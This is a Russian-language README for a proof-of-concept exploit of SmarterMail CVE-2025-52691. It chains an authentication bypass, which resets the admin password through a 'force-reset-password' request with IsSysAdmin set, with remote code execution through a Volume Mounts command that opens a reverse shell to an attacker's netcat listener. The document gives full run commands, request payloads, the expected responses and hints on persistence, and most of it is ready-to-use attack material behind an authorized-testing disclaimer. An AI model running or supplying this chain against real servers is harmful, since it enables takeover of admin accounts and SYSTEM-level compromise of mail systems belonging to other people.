
CVE-2025-52691 PoC: Основан на статье watchtowr WT-2026-0001 об эксплойте обхода аутентификации; это функциональный скрипт атаки на Python.
Этот инструмент предназначен только для авторизованного тестирования безопасности и образовательных целей!
Этот эксплойт объединяет две критические уязвимости в SmarterMail:
https://github.com/watchtowrlabs/watchTowr-vs-SmarterMail-CVE-2025-52691
Эксплойт выполняет атаку в 3 фазы:
Фаза 1: Обход аутентификации через WT-2026-0001
Фаза 2: Вход администратора с новым паролем
Фаза 3: Удалённое выполнение кода через функциональность Volume Mounts
# Install Python 3 (if not available)
# Ubuntu/Debian
sudo apt update && sudo apt install python3 python3-pip
# macOS
brew install python3
# Windows (WSL)
wsl --install
# Install netcat
# Ubuntu/Debian
sudo apt install netcat
# macOS
brew install netcat
# Windows (WSL)
sudo apt install netcat-traditional
# Python dependencies (if needed)
pip3 install requests
# Make executable
chmod +x run_exploit.sh
# Automated setup
./run_exploit.sh --auto
# Or interactive setup
./run_exploit.sh
# Setup listener (in one terminal)
nc -lvnp 4444
# Run exploit (in a second terminal)
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444
python3 exploit.py \
-H http://192.168.1.100 \
-P 9998 \
-A 192.168.1.50 \
-p 4444 \
-d \
--admin-username admin \
--new-password "MySecurePassword123!"
Определение цели
# Check target host
curl -I http://192.168.1.100:9998
# Identify SmarterMail version
# (Usually in login page or HTTP headers)
Настройка слушателя
# In Terminal 1: Start listener
nc -lvnp 4444
# The listener must be running before the exploit is executed
Проверка сети
# Ensure connection between attacker and target is possible
ping 192.168.1.100
nc -zv 192.168.1.100 9998
# With the runner script (recommended)
./run_exploit.sh
# Or directly with Python
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444
Подключение к оболочке
# In the listener terminal, a connection should now appear
# You should have a SYSTEM shell
Проверка доступа
# In the obtained shell
whoami
hostname
ipconfig /all # Windows
ifconfig # Linux
Постоянный доступ
# Optional: Set up persistence
# Windows: Install as service
# Linux: Cron job or systemd service
| Параметр | Описание | Значение по умолчанию |
|---|---|---|
-H, --host | Целевой хост (обязательно) | - |
-P, --port | Целевой порт | 9998 |
-A, --attacker-ip | IP-адрес атакующего для reverse shell (обязательно) | - |
-p, --attacker-port | Порт атакующего для reverse shell (обязательно) | - |
-d, --debug | Включить режим отладки | False |
--admin-username | Имя пользователя администратора | admin |
--new-password | Новый пароль администратора | NewPassword123!@# |
| Параметр | Описание |
|---|---|
-t, --target | Целевой хост |
-p, --port | Целевой порт |
-a, --attacker-ip | IP-адрес атакующего |
-l, --listener-port | Порт слушателя |
-n, --new-password | Новый пароль администратора |
-u, --admin-user | Имя пользователя администратора |
-d, --debug | Режим отладки |
--auto | Автоматический режим |
# Terminal 1: Start listener
nc -lvnp 4444
# Terminal 2: Run exploit
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444
python3 exploit.py \
-H https://mail.company.com \
-P 443 \
-A 10.0.0.1 \
-p 8080 \
--admin-username administrator \
--new-password "ComplexPassword123!@#"
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444 -d
./run_exploit.sh --auto
Endpoint: POST /api/v1/auth/force-reset-password
Payload:
{
"IsSysAdmin": "true",
"OldPassword": "dummy",
"Username": "admin",
"NewPassword": "NewPassword123!@#",
"ConfirmPassword": "NewPassword123!@#"
}
Успешный ответ:
{
"success": true,
"resultCode": 200,
"debugInfo": "check1\r\ncheck2\r\ncheck3\r\ncheck4.2\r\ncheck5.2\r\ncheck6.2\r\ncheck7.2\r\ncheck8.2\r\n"
}
Endpoint: POST /api/v1/auth/login
Payload:
{
"username": "admin",
"password": "NewPassword123!@#"
}
Endpoint: POST /api/v1/settings/volume-mounts
Payload:
{
"name": "random_volume_name",
"path": "C:\\Temp\\random_volume_name",
"command": "powershell reverse shell command",
"enabled": true,
"type": "command"
}
# Error: "Connection refused"
# Solution: Check firewall and open port
sudo ufw allow 9998
# Error: "Connection failed"
# Solution: Check listener setup
nc -lvnp 4444
# Error: "Login failed"
# Solution: Check target version (must be vulnerable)
# Error: "Volume mount creation failed"
# Solution: Check admin privileges, target system
Включите режим отладки для подробного вывода:
python3 exploit.py -H http://192.168.1.100 -P 9998 -A 192.168.1.50 -p 4444 -d
⚠️ Помните: с большой силой приходит большая ответственность!